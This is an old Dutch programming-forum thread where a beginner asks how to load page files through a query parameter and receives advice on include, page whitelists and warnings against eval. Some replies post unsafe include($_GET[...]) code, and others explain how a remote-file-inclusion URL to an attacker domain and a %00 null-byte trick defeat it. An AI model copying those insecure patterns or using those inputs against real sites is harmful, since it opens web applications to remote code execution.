PHP-code in PHP-code uitvoeren

Pagina: 1
Acties:

Onderwerpen


Acties:
  • 0 Henk 'm!

  • Evertt_IA
  • Registratie: April 2008
  • Laatst online: 02-05-2021
Ik heb een php-pagina, namelijk index.php.
Dan heb ik ook nog een heleboel andere pagina's namelijk, 1.php, 2.php, 3.php, enz...
Nu wil ik het dus zo regelen dat als in de adresbalk dit staat: "/index.php?page=1" dat dan de indexpagina zorgt dat 1.php wordt gerenderd in de goede contentbox.
Nu weet ik dat je echo kan gebruiken om html te renderen, maar dat werkt niet voor php.
Want als ik dan dit probeer:
PHP:
1
2
3
<?php
echo "<?php $Test=\"blaat\"; echo $Test; ?>";
?>
dan geeft die niet de goede html-code.

Dus hoe moet ik dat dan voor mekaar krijgen?

Acties:
  • 0 Henk 'm!

Verwijderd

zoek anders even op include?

Acties:
  • 0 Henk 'm!

  • Harrie
  • Registratie: November 2000
  • Laatst online: 14:58

Harrie

NederVlaming

je kan toch gewoon include gebruiken? dus iets als:
if page=1
include 1.php
if page = 2
include 2.php

de syntax is niet helemaal goed, maar begrijp je wat ik bedoel? zoek dus even naar include...

Acties:
  • 0 Henk 'm!

  • CodeCaster
  • Registratie: Juni 2003
  • Niet online

CodeCaster

Can I get uhm...

Ja, of gebruik gewoon include($_GET['page']). Lees je dan meteen even in over het gevaar van XSS.

[ Voor 23% gewijzigd door CodeCaster op 27-04-2008 00:14 ]

https://oneerlijkewoz.nl
Op papier is hij aan het tekenen, maar in de praktijk...


Acties:
  • 0 Henk 'm!

Verwijderd

Ik zou eerder zeggen: kijk langer dan 3 seconden naar een tutorial. Dit soort vragen is echt niet leuk meer. Zorg dat je in elk geval een beetje gelezen hebt voor je aan programmeren gaat denken, Toon wat respect aan je medetweakers.

Acties:
  • 0 Henk 'm!

  • Saven
  • Registratie: December 2006
  • Nu online

Saven

Administrator


Acties:
  • 0 Henk 'm!

  • CodeCaster
  • Registratie: Juni 2003
  • Niet online

CodeCaster

Can I get uhm...

:') Alsjeblieft zeg. Heb je de topicstart gelezen, of alleen het codeblock?

https://oneerlijkewoz.nl
Op papier is hij aan het tekenen, maar in de praktijk...


Acties:
  • 0 Henk 'm!

  • MueR
  • Registratie: Januari 2004
  • Laatst online: 14:53

MueR

Admin Tweakers Discord

is niet lief

Als je eval wil gaan gebruiken moet je HEEEL goed weten wat je doet. Eval moet de TS niet eens naar kijken. Gewoon eerst eens een taal leren voor je een site gaat bouwen.

Anyone who gets in between me and my morning coffee should be insecure.


Acties:
  • 0 Henk 'm!

  • Evertt_IA
  • Registratie: April 2008
  • Laatst online: 02-05-2021
Verwijderd schreef op zondag 27 april 2008 @ 00:15:
Ik zou eerder zeggen: kijk langer dan 3 seconden naar een tutorial. Dit soort vragen is echt niet leuk meer. Zorg dat je in elk geval een beetje gelezen hebt voor je aan programmeren gaat denken, Toon wat respect aan je medetweakers.
Oeps, nou sorry hoor.
Om heel eerlijk te zijn kende ik include() idd al, maar kdacht niet dat die php "renderde" om het zo maar te zeggen.

Maar iig heel erg bedankt iedereen. :)
Voortaan zal ik toch eerst beter zoeken. O-)

[edit]
Om heel eerlijk te zijn was eval precies wat ik zocht. Want die 1.php en 2.php is nog maar de basis, ik ga het idd uitbreiden dat die de php-code uit een database haalt en dan is eval precies wat ik nodig heb. :D

[ Voor 24% gewijzigd door Evertt_IA op 27-04-2008 00:50 ]


Acties:
  • 0 Henk 'm!

Verwijderd

ik hoop dat je dan ook dit hebt gelezen:

http://nl2.php.net/manual/en/function.eval.php#82239

Acties:
  • 0 Henk 'm!

  • Emmeau
  • Registratie: Mei 2003
  • Niet online

Emmeau

All your UNIX are belong to us

Ik zou eerder naar modrewrite kijken?

If you choose to criticise you choose your enemies


Acties:
  • 0 Henk 'm!

  • simon
  • Registratie: Maart 2002
  • Laatst online: 00:18
Eval is niet alleen traag maar ook een security risico... niet gebruiken dus... maar basis cursusje PHP brengt je veel verder.

|>


Acties:
  • 0 Henk 'm!

  • NMe
  • Registratie: Februari 2004
  • Laatst online: 09-09 13:58

NMe

Quia Ego Sic Dico.

Code hoort, IMO, niet in je database maar op je filesystem. 't Is niet netjes, onoverzichtelijk en lastig onderhoudbaar en bovendien langzamer. Gebruik asjeblieft alleen die oplossing die nu "precies is wat je zocht" als je verdomde goed weet waar je mee bezig bent. En, no offence intended, dat betwijfel ik op dit moment eerlijk gezegd; anders had dit topic hier namelijk niet gestaan. :)

Verder: Waar hoort mijn topic?

WEB>>PRG

'E's fighting in there!' he stuttered, grabbing the captain's arm.
'All by himself?' said the captain.
'No, with everyone!' shouted Nobby, hopping from one foot to the other.


Acties:
  • 0 Henk 'm!

  • happyguppy
  • Registratie: November 2004
  • Laatst online: 29-08 15:56
Verwijderd schreef op zondag 27 april 2008 @ 00:15:
Ik zou eerder zeggen: kijk langer dan 3 seconden naar een tutorial. Dit soort vragen is echt niet leuk meer. Zorg dat je in elk geval een beetje gelezen hebt voor je aan programmeren gaat denken, Toon wat respect aan je medetweakers.
Het spijt me hoor, overdrijven is ook een vak. Blijkbaar weet hij er nog niet zoveel vanaf, maar hij wil het graag leren! Dan stel ik het op prijs dat hij het aan ons, medetweakers vraagt.

Daarom, hierbij, een tutorial die je wel wat op weg zal helpen ;)

http://www.web-con.nl/site/tutorials.php?tutorial=248

Ook adviseer ik je een en ander te lezen over de basis van PHP, daar kan ik je dit boek voor aanraden.

Succes! :*)

Acties:
  • 0 Henk 'm!

  • Cartman!
  • Registratie: April 2000
  • Niet online
Evertt_IA schreef op zondag 27 april 2008 @ 00:45:
[...]
Om heel eerlijk te zijn was eval precies wat ik zocht. Want die 1.php en 2.php is nog maar de basis, ik ga het idd uitbreiden dat die de php-code uit een database haalt en dan is eval precies wat ik nodig heb. :D
Serieus, geen eval gebruiken hiervoor. Als je daar met dit scenario al mee begint dan vrees ik dat t je meestgebruikte functie zal worden. Als je eval gebruikt heb je 99,9% van de keren een verkeerde oplossing bedacht. Leer require_once() (heeft mn voorkeur op include) gebruiken en sla je code niet op in je database maar in bestanden. (!)

Acties:
  • 0 Henk 'm!

  • Bitage
  • Registratie: April 2006
  • Laatst online: 19-05-2024
eval() == evol. Simpel als dat. Er zijn oplossingen waarmee eval() prima is, maar daar is deze er verreweg één van.

Wat jij zoekt, is het ophalen van $_GET vars. Wanneer jij naar /index.php?page=1 gaat, wordt er serverside in PHP een var aagemaakt. Deze is in dit scenario $_GET['page'] welke een waarde heeft van '1'.

Dit kun je gemakkelijk ophalen en verwerken. Jij wilt een pagina renderen aand e hand van deze var dus het makkelijkst is dit:
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
switch($_GET['page'])
{
  case 1:
    require('inc/pagina1.php');
    break;

  case 2:
    require('inc/pagina2.php');
    break;

// Etc. etc.

}


Enorm basic, mja....

Acties:
  • 0 Henk 'm!

  • mcdronkz
  • Registratie: Oktober 2003
  • Laatst online: 16-04 12:44
Er zijn zoveel methodes, maar ik pak het op de volgende manier aan;

PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$allowedPages = array("home","nieuws","contact","etc");

if(isset($_GET['page'])) {
    if(in_array($_GET['page'],$allowedPages)) {
        if(file_exists($_GET['page'].".inc.php")) {
            include($_GET['page'].".inc.php")
        } else {
            /*
            404
            */
        }
    } else {
        /*
        404
        */
    }
} else {
    include("home.inc.php")
}
?>


Hiermee moet een pagina dus áltijd in die array voorkomen. Ook moet een bestand altijd fysiek op de server aanwezig zijn.

't Voldoet voorlopig uitstekend bij mij.

Ik snap wel dat het niet de bedoeling is om zomaar scripts te gaan posten enzo, je moet natuurlijk zelf ook wat ontdekken, maar vaak leer je toch een hoop van de manier waarop anderen iets aanpakken.

Acties:
  • 0 Henk 'm!

  • Hydra
  • Registratie: September 2000
  • Laatst online: 21-08 17:09
Evertt_IA schreef op zondag 27 april 2008 @ 00:45:
Om heel eerlijk te zijn was eval precies wat ik zocht. Want die 1.php en 2.php is nog maar de basis, ik ga het idd uitbreiden dat die de php-code uit een database haalt en dan is eval precies wat ik nodig heb. :D
Spannend.

https://niels.nu


Acties:
  • 0 Henk 'm!

  • software
  • Registratie: Mei 2003
  • Laatst online: 02-01 09:26
CodeCaster schreef op zondag 27 april 2008 @ 00:13:
Ja, of gebruik gewoon include($_GET['page']). Lees je dan meteen even in over het gevaar van XSS.
Ik werk meestal zo :
PHP:
1
2
3
4
5
6
7
8
9
10
$StandaardMap = "";
$StandaardExtensie = ".php";

    if(!isset($_GET['pagina'])) {
         include("home.php"); 
    }elseif(file_exists("".$StandaardMap."".$_GET['pagina']."".$StandaardExtensie."")) {
         include("".$StandaardMap."".$_GET['pagina']."".$StandaardExtensie.""); // (.php) --> deze wordt erbij gezet.
    }else {
        include("error404.php");  //error bestand invoegen
    }


Er wordt hier altijd een .php achter geplakt. Een betere controle dan jouw voorstel.

[ Voor 6% gewijzigd door software op 27-04-2008 12:24 ]


Acties:
  • 0 Henk 'm!

  • Borizz
  • Registratie: Maart 2005
  • Laatst online: 24-08 20:35
software schreef op zondag 27 april 2008 @ 12:23:
[...]

Ik werk meestal zo :
PHP:
1
2
3
4
5
6
7
8
9
10
$StandaardMap = "";
$StandaardExtensie = ".php";

    if(!isset($_GET['pagina'])) {
         include("home.php"); 
    }elseif(file_exists("".$StandaardMap."".$_GET['pagina']."".$StandaardExtensie."")) {
         include("".$StandaardMap."".$_GET['pagina']."".$StandaardExtensie.""); // (.php) --> deze wordt erbij gezet.
    }else {
        include("error404.php");  //error bestand invoegen
    }


Er wordt hier altijd een .php achter geplakt. Een betere controle dan jouw voorstel.
Zo goed is je controle helemaal niet, zeker als $StandaardMap leeg is zoals in jou geval kan je simpel een url includen:
code:
1
http://www.jouwdomein.nl/index.php?pagina=http://www.anderdomein.nl/hackpagina


Zo include je de file http://www.anderdomein.nl/hackpagina.php die zich niet op jou server bevind..

If I can't fix it, it ain't broken.


Acties:
  • 0 Henk 'm!

  • software
  • Registratie: Mei 2003
  • Laatst online: 02-01 09:26
Borizz schreef op zondag 27 april 2008 @ 12:28:
[...]


Zo goed is je controle helemaal niet, zeker als $StandaardMap leeg is zoals in jou geval kan je simpel een url includen:
code:
1
http://www.jouwdomein.nl/index.php?pagina=http://www.anderdomein.nl/hackpagina


Zo include je de file http://www.anderdomein.nl/hackpagina.php die zich niet op jou server bevind..
Heb net even getest, en script geeft een mooie 404 aan (bij een bestaande url).

[ Voor 14% gewijzigd door software op 27-04-2008 12:36 ]


Acties:
  • 0 Henk 'm!

  • Shadowman
  • Registratie: Januari 2002
  • Niet online
software schreef op zondag 27 april 2008 @ 12:34:
[...]


Heb net even getest, en script geeft een mooie 404 aan (bij een bestaande url).
mja, jouw 404, of de 404 van de site die opgehaald wordt?

En die .php-beveiliging is ook zo te omzeilen op het bestandssysteem, zet %00 in de url achter de filenaam en dat is dan het einde van een string (\0) en php accepteert zoiets in een string, maar het filesystem niet, die leest de filenaam tot de \0.

file_exists is volgens mij niet cross-domain (kan zo niet vinden op php.net waar dat staat, ben er ook niet 100% zeker van), dus als het jouw 404 is is dat de reden.

Acties:
  • 0 Henk 'm!

  • software
  • Registratie: Mei 2003
  • Laatst online: 02-01 09:26
Shadowman schreef op zondag 27 april 2008 @ 12:47:
[...]

mja, jouw 404, of de 404 van de site die opgehaald wordt?

En die .php-beveiliging is ook zo te omzeilen op het bestandssysteem, zet %00 in de url achter de filenaam en dat is dan het einde van een string (\0) en php accepteert zoiets in een string, maar het filesystem niet, die leest de filenaam tot de \0.

file_exists is volgens mij niet cross-domain (kan zo niet vinden op php.net waar dat staat, ben er ook niet 100% zeker van), dus als het jouw 404 is is dat de reden.
Het was mijn 404 pagina dat geladen was.

Acties:
  • 0 Henk 'm!

  • Borizz
  • Registratie: Maart 2005
  • Laatst online: 24-08 20:35
software schreef op zondag 27 april 2008 @ 12:49:
[...]

Het was mijn 404 pagina dat geladen was.
Dat komt waarschijnlijk omdat mijn parameter niet urlencoded was. Een url encoded versie van de url is dit:
code:
1
http%3A%2F%2Fwww.anderdomein.nl%2Fhackpagina


In jou geval werkt dit trouwens niet, omdat je file_exists gebruikt om te checken of een bestand bestaat, file_exists ondersteund het http protocol (nog) niet. Mocht dit later wel gebeuren dan zal mijn url wel werken, het is dus wel lomp om hierop te vertrouwen.

Tevens is het ook afhankelijk van je PHP configuratie of je toestaat dat je externe url's mag includen. Maar van je PHP configuratie mag je natuurlijk nooit uitgaan als je een voorbeeld post (of je moet het er expliciet bijzetten).

If I can't fix it, it ain't broken.


Acties:
  • 0 Henk 'm!

  • japaveh
  • Registratie: Maart 2003
  • Laatst online: 20-09 20:47

japaveh

Jield BV

software schreef op zondag 27 april 2008 @ 12:23:
[...]

Ik werk meestal zo :
PHP:
1
2
3
[...]
include("".$StandaardMap."".$_GET['pagina']."".$StandaardExtensie.""); // (.php) --> deze wordt erbij gezet.
[...]
Waarom plak je er steeds lege strings tussen?

Solo Database: Online electronic logbook and database system for research applications


Acties:
  • 0 Henk 'm!

  • Cartman!
  • Registratie: April 2000
  • Niet online
Ik wilde t niet aanhalen inderdaad maar nu er toch iemand over begint.... :X

Acties:
  • 0 Henk 'm!

  • curry684
  • Registratie: Juni 2000
  • Laatst online: 06-09 00:37

curry684

left part of the evil twins

Verwijderd schreef op zondag 27 april 2008 @ 12:37:
[...]

Misschien dat ie daarom erbij heeft gezet "Lees je dan meteen even in over het gevaar van XSS.".
Dat had ik wel door, maar voor de minder ingelezen meelezer moet je dat soort belabberde stukken code niet letterlijk geven, want die voetnoot wordt regelmatig niet gelezen hoor onder het kopje "oh dat lijkt me te complex en dat stukje code wat ie geeft werkt al perfect".

Professionele website nodig?


Acties:
  • 0 Henk 'm!

  • ? ?
  • Registratie: Mei 2007
  • Niet online

? ?

gewoon zoals mcdronkz doet
je maakt een array met de mogelijke modules
je checkt of de GET over een van deze modules gaat, dan check je eventueel of het op schijf bestaat en dan include je de pagina

als je met een array werkt, dan kun je de code ook kort houden en heb je geen switch of if statement nodig van 2 pagina's. Al de rest is niet goed, pagina's includen waarvan je de naam niet gecheckt hebt en misschien niet bestaan (of wel, maar als ze bv. geen include pagina zijn) is dom en geeft fouten.

Acties:
  • 0 Henk 'm!

  • MueR
  • Registratie: Januari 2004
  • Laatst online: 14:53

MueR

Admin Tweakers Discord

is niet lief

Uit de PHP manual comments:
If eval() is the answer, you’re almost certainly asking the wrong question.

Anyone who gets in between me and my morning coffee should be insecure.


Acties:
  • 0 Henk 'm!

  • Bosmonster
  • Registratie: Juni 2001
  • Laatst online: 18-09 16:28

Bosmonster

*zucht*

Evertt_IA schreef op zondag 27 april 2008 @ 00:45:
[...]

Om heel eerlijk te zijn was eval precies wat ik zocht. Want die 1.php en 2.php is nog maar de basis, ik ga het idd uitbreiden dat die de php-code uit een database haalt en dan is eval precies wat ik nodig heb. :D
Zat al met veel plezier dit topic door te lezen, maar toen ik dit las moest ik toch even hardop lachen :P

Zeker na alle adviezen GEEN eval te gebruiken.

Acties:
  • 0 Henk 'm!

  • curry684
  • Registratie: Juni 2000
  • Laatst online: 06-09 00:37

curry684

left part of the evil twins

eval() is alleen nuttig voor hooks in complexe systemen, en dan moet je VERDOMD goed weten waar je mee bezig bent. If not, zie MueR.

Professionele website nodig?

Pagina: 1